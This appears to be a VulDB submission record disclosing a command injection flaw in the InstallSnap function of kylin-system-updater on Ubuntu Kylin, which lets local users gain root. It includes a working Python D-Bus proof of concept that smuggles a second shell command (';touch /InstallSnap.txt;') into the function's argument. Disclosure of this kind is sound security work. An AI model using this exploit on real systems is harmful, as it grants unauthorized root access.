Gửi #97298: UbuntuKylin OS privilege escalation vulnerabilitythông tin

tiêu đềUbuntuKylin OS privilege escalation vulnerability
Mô tảDescribe There is a command injection vulnerability in the InstallSnap function in the update component (Kylin-system-updater) of the Ubuntu Kylin OS system. Any user can call the vulnerability, causing ordinary users to obtain root privileges through the vulnerability. Hazard level High Affected version Ubuntukylin:kylin-system-updater <= 1.4.20kord POC&&EXP ISO Download: https://www.ubuntukylin.com/downloads/download.php?id=91 exp.py ``` import dbus import os payload = ';touch /InstallSnap.txt;' bus=dbus.SystemBus() xattr=bus.get_object('com.kylin.systemupgrade','/com/kylin/systemupgrade') iface=dbus.Interface(xattr,dbus_interface='com.kylin.systemupgrade.interface') prop=iface.InstallSnap("{}".format(payload)) print(prop) os.system("ls -l /InstallSnap.txt") ```
Nguồn⚠️ https://github.com/cn-lwj/vuldb/blob/master/kylin-system-updater_vuln.md
Người dùng
 cn-lwj (UID 42196)
Đệ trình03/03/2023 10:53 (cách đây 4 những năm)
Kiểm duyệt08/03/2023 19:06 (5 days later)
Trạng tháiđược chấp nhận
Mục VulDB222600 [kylin-system-updater đến 1.4.20kord trên Ubuntu Kylin Update InstallSnap nâng cao đặc quyền]
điểm20

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